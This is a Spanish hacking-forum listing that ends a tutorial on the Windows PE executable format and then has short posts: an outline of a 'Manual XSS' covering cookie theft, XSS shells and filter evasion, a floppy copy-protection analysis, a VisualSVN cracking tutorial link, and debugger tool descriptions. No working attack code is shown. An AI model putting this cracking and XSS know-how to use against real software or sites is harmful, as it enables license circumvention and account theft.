  BYTE  Name[IMAGE_SIZEOF_SHORT_NAME]; /* IMAGE_SIZEOF_SHORT_NAME = 8 bytes */
  union {
    DWORD PhysicalAddress;
    DWORD VirtualSize;
  } Misc;
  DWORD VirtualAddress;
  DWORD SizeOfRawData;
  DWORD PointerToRawData;
  DWORD PointerToRelocations;
  DWORD PointerToLinenumbers;
  WORD  NumberOfRelocations;
  WORD  NumberOfLinenumbers;
  DWORD Characteristics;
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;

por la union no hay que preocuparse, considerese solo una variable, que indica el tamaño (VirtualSize)

la cantidad de secciones tenemos ya, del encabezado NT, al ir leyendo todos los encabezados de las secciones, tendremos su posicion en el archivo (PointerToRawData), y en memoria (VirtualAddress), el tamaño es el mismo, la diferencia es que, estando en memoria, se llena de 0x0 hasta ajustarse a la alineación

en fin, despues de esto solo se tiene que ir leyendo las secciones.

.text es generalmente la seccion que contiene el codigo
.data y .rdata  contiene constantes, son secciones de solo lectura.
.bss es una seccion de lectura y escritura, se usa para las variables globales generalmente, las variables locales se colocan en el stack (eso lo veremos en otro tuto)
.idata es la tabla de importacion de funciones
.edata es la tabla de exportacion de funciones (es mas comun en los DLL, aunque un exe tambien lo puede tener)

en nuestro code de ejemplo aqui esta el encabezado de las secciones
Código: text

"000000170  00 00 00 00 00 00 00 00-2E 74 65 78 74 00 00 00   |########.text###|"
"000000180  E8 59 00 00 00 10 00 00-00 5A 00 00 00 04 00 00   |#Y#######Z######|"
"000000190  00 00 00 00 00 00 00 00-00 00 00 00 60 00 50 60   |############`#P`|"
"0000001A0  2E 64 61 74 61 00 00 00-44 00 00 00 00 70 00 00   |.data###D####p##|"
"0000001B0  00 02 00 00 00 5E 00 00-00 00 00 00 00 00 00 00   |#####^##########|"
"0000001C0  00 00 00 00 40 00 30 C0-2E 72 64 61 74 61 00 00   |####@#0#.rdata##|"
"0000001D0  20 05 00 00 00 80 00 00-00 06 00 00 00 60 00 00   | ############`##|"
"0000001E0  00 00 00 00 00 00 00 00-00 00 00 00 40 00 60 40   |############@#`@|"
"0000001F0  2E 62 73 73 00 00 00 00-78 0A 00 00 00 90 00 00   |.bss####x.######|"
"000000200  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   |################|"
"000000210  00 00 00 00 80 00 40 C0-2E 69 64 61 74 61 00 00   |######@#.idata##|"
"000000220  B8 04 00 00 00 A0 00 00-00 06 00 00 00 66 00 00   |#############f##|"
"000000230  00 00 00 00 00 00 00 00-00 00 00 00 40 00 30 C0   |############@#0#|"


seguido a esto (hay un espacio lleno de 0x0 donde se pueden agregar mas encabezados de secciones), y luego ya están las secciones en sí (a lo que le llamé Stub NT)

Esto es todo, se supone que con esto se debe entender como es el formato del ejectuable de windows ( iba ser mas facil si supiese explicar mejor las cosas, pero eso me cuesta XD )




a continuacion veremos un ejemplo de como encontrar una zona especifica de un programa, en memoria y en el archivo.

Para empezar buscaremos el famoso EntryPoint, esta direccion indica el lugar donde se comienza a ejecutar el code, asi que, se supone que debe caer dentro de la seccion de code, ( en el caso del ejemplo solo tiene una seccion con code .text )

Dentro del OptionalHeader tenemos una variable llamada AddressOfEntryPoint, para encontrarlo en el archivo, vamos al inicio de la estructura del OptionalHeader, y contamos los tamaños de las variables que están antes WORD+2*BYTE+3*DWORD = 0x10 bytes (16 en decimal)
sabemos que el inicio de esa estructura esta en 0x000000098 (eso ya lo vimos mas arriba), asi que la direccion del EntryPint debe estar en el Offset 0x0000000A8, tambien sabemos que ocupa 1 DWORD = 4 bytes
Código: text

"0000000A0  00 68 00 00 00 0C 00 00-30 11 00 00 00 10 00 00   |#h######0#######|"
"0000000B0  00 70 00 00 00 00 40 00-00 10 00 00 00 02 00 00   |#p####@#########|"

vemos que en el archivo es este el valor "30 11 00 00", como ya dijimos hay que voltearlo de 2 en 2 para tener el valor en Hexa  0x00001130, listo esta es la direccion del entrypoint, pero, tambien como vimos, todas estas direcciones estan referidas al ImageBase, de la misma forma que buscamos el valor del EntryPoint busquemos el ImageBase, esta variable está 3 Dword abajo del entrypoint, osea 8bytes, 0x0000000A8 + 0xC = 0x0000000B4  y ocupa 4 bytes, este es el valor "00 00 40 00" volteando = 0x00400000, bien, asi que el EntryPoint está realmente en 0x00400000 + 0x00001130 = 0x00401130 (eso lo podemos comprobar con algun otro programa como el olly)

que pasa si queremos ver ese entrypoint en el archivo, como lo vemos?
primero hay que saber a que seccion corresponde, en este caso, es evidente que corresponde a .text
veamos El VirtualAdress de .text, y el tamaño para acegurarnos de que está en esa seccion
este es el encabezado de esa seccion (comienza en 0x000000178)
Código: text

"000000170  00 00 00 00 00 00 00 00-2E 74 65 78 74 00 00 00   |########.text###|"
"000000180  E8 59 00 00 00 10 00 00-00 5A 00 00 00 04 00 00   |#Y#######Z######|"
"000000190  00 00 00 00 00 00 00 00-00 00 00 00 60 00 50 60   |############`#P`|"

su VirtualAdress esta a 8 Bytes + 1 Dword del inicio del encabezado, osea a 0xC bytes "00 10 00 00" = 0x00001000
tambien nos hara falta conocer el PointerToRawData "00 04 00 00"= 0x00000400

El virtual adress sabemos que es relativo al ImageBase, pero solo nos interesa saber la distancia a la que está el EntryPoint del inicio de esa seccion. asi que ese Offset sera EntryPint - VirtualAdress = 0x130
Ese es el offset desde el inicio de la seccion, en el archivo esa seccion inicia en el PointerToRawData, asi que, el entrypoint en el archivo está en PointerToRawData + 0x130 = 0x530

Vemos el archivo
Código: text

"000000530  55 89 E5 83 EC 18 C7 04-24 01 00 00 00 FF 15 50   |U#######$######P|"
"000000540  A1 40 00 E8 D8 FE FF FF-90 8D B4 26 00 00 00 00   |#@#########&####|"
"000000550  55 89 E5 53 83 EC 14 8B-45 08 8B 00 8B 00 3D 91   |U##S####E#####=#|"
"000000560  00 00 C0 77 3B 3D 8D 00-00 C0 72 4B BB 01 00 00   |###w;=####rK####|"
"000000570  00 C7 44 24 04 00 00 00-00 C7 04 24 08 00 00 00   |##D$#######$####|"

y lo comparamos con el dump del Entrypoint en memoria (visto con el Ollydbg)
Código: text

00401130  55 89 E5 83 EC 18 C7 04 24 01 00 00 00 FF 15 50  U.å.ì.Ç.$......P
00401140  A1 40 00 E8 D8 FE FF FF 90 8D B4 26 00 00 00 00  .@.èØþ....&....
00401150  55 89 E5 53 83 EC 14 8B 45 08 8B 00 8B 00 3D 91  U.åS.ì..E.....=.
00401160  00 00 C0 77 3B 3D 8D 00 00 C0 72 4B BB 01 00 00  ..Àw;=..ÀrK....
00401170  00 C7 44 24 04 00 00 00 00 C7 04 24 08 00 00 00  .ÇD$.....Ç.$....

podemos ver que el code coincide exactamente, ya que estamos parados en el mismo lugar XD


Espero que haya servido de algo esto,
Saludos, y gracias por leerlo




Si bien este tuto lo escribí solo, no pude haberlo hecho sin aprender este tema, estos son los materiales que utilicé para aprender
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Un gran agadecimiento a la gente de CLS que hizo estos tutos
#116
Otro excelente tutorial de las lista de CrackSLatinoS , espero les guste , saludos.




Protección:

Sistema anticopia implementado en disquetes grabados por Red Point , uno de los locales argentinos más populares de copiado de video juegos para MSX, Spectrum y otras plataformas. Este documento describe exclusivamente el funcionamiento de la protección para la norma MSX

Objectivo:

Analizar y entender los formatos especiales dados a los disquetes para evitar la copia de los mismos.

Dificultad:

De media a compleja, dependiendo del nivel de conocimientos del lector.

Herramientas

openMSX, BlueMSX, Editor Hexadecimal, experiencia en Ingeniería Inversa.

Cracker:

saccopharinx ( Creador del Tutorial)




Contenido
1.- Introducción
2.- Tipos de protección
3.- CHS
4.- LBA
4.1.- Disquete de 3.50" SS/DD - 80 pistas / 1 cabeza lectora
4.2.- Disquete de 5.25" DS/DD - 40 pistas / 2 cabezas lectoras
5.- Mapeo de sectores lógicos a sectores físicos
6.- FDC
6.1.- Direcciones de Entrada / Salida del controlador Talent DPF550
7.- Numeración y estructura interna de los sectores
8.- Rutina de formateo
8.1.- Configuración Daewoo CPC-400S con DiskROM original
8.2.- Configuración Daewoo CPC-400S con DiskROM de Talent DPF-550
8.3.- Software formateador de Red Point
9.- Verificación del sector oculto
9.1.- Verificación del sector oculto en RP-Protecion v1
9.2.- Verificación del sector oculto en RP-Protecion v2
10.- Otras protecciones
10.1.- Protección Super Laydock (Red Point)
10.2.- Protección Enano Soft
10.3.- Protección Real Time
11.- Download
12.- Preservación y Emulación total de disquetes
13.- Agradecimientos




No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
#117
Bugs y Exploits / Manual XSS
Abril 03, 2012, 12:55:26 AM
1.- Introducción

2.- Tipos de Ataques     
- Reflected Cross Site Scripting (XSS Reflejado)
- Stored Cross Site Scripting (XSS Persistente)
- DOM Cross Site Scripting (DOM XSS)
- Cross Site Flashing (XSF)
- Cross Site Request/Reference Forgery (CSRF)
- Cross Frame Scripting (XFS)
- Cross Zone Scripting (XZS)
- Cross Agent Scripting (XAS)
- Cross Referer Scripting (XRS)
- Denial of Service (XSSDoS)
- Flash! Attack
- Induced XSS
- Image Scripting
- anti-DNS Pinning
- IMAP3 XSS
- MHTML XSS
- Expect Vulnerability

3.- Evitando Filtros

4.- PoC examples - Bypassing filters
- Data Control PoC
- Frame Jacking PoC   

5.- Técnicas de ataque
+ Classic XSS - Robando "cookies"
+ XSS Proxy
+ XSS Shell
+ Ajax Exploitation
+ XSS Virus / Worms
+ Router jacking
+ WAN Browser hijacking
- DNS cache poison
- XSS Injected code on server
- Practical Browser Hijacking

6.- XSS Cheats - Fuzz Vectors
7.- Screenshots
8.- Herramientas
9.- Links
10.- Bibliografía
11.- Licencia de uso
12.- Autor

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
#118
Ingeniería Inversa / Winpdb [Herramienta]
Diciembre 05, 2011, 02:59:36 PM
Es una plataforma independiente de la GPL Python depurador con soporte para múltiples hilos , espacio de nombres modificación, incrustado depuración, y la comunicación cifrada. De acuerdo con el sitio web del proyecto , es hasta 20 veces más rápido que Python depurador integrado AP. Se trata de un front-end gráfico basado en el wxPython GUI marco y un back-end también conocido como RPDB2. Uno o ambos de estos componentes se utilizan en varios Python IDE como Python Stani es Editor (SPE), PythonWin y PIDA (RPDB2 solamente).

La Decarga

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
#119
Ingeniería Inversa / Crackeando VisualSVN
Diciembre 05, 2011, 02:58:40 PM
Nuevo tutorial de CrackSLatinoS by Mancu ,  por mi parte es un excelente tutorial espero les sirva

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
#120
Ingeniería Inversa / Visual DuxDebugger
Diciembre 05, 2011, 02:57:36 PM
Visual DuxDebugger es un desensamblador depurador de 64 bits para Windows.

Principales características
Totalmente compatible con procesos de 64 bits nativa
Totalmente compatible con 64 bits. NET procesos de
análisis completo de código
completa de análisis de memoria
Código edición
edición de la Memoria
Formatos de módulo de exportación (EXE / DLL / CSV)
Depurar múltiples procesos
de depuración de múltiples procesos hijo

Requisitos mínimos de
sistema operativo: Windows 7 64-bit / Windows Server 2008 R2
Procesador: Pentium 4 3.0 GHz

Requisitos recomendados del
sistema operativo: Windows 7 64-bit / Windows Server 2008 R2
Procesador: Dual Core 2.5 GHz
Pantalla: 1920 x 1080

Descarga:

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Ejecute "setup.exe" para instalar los requisitos previos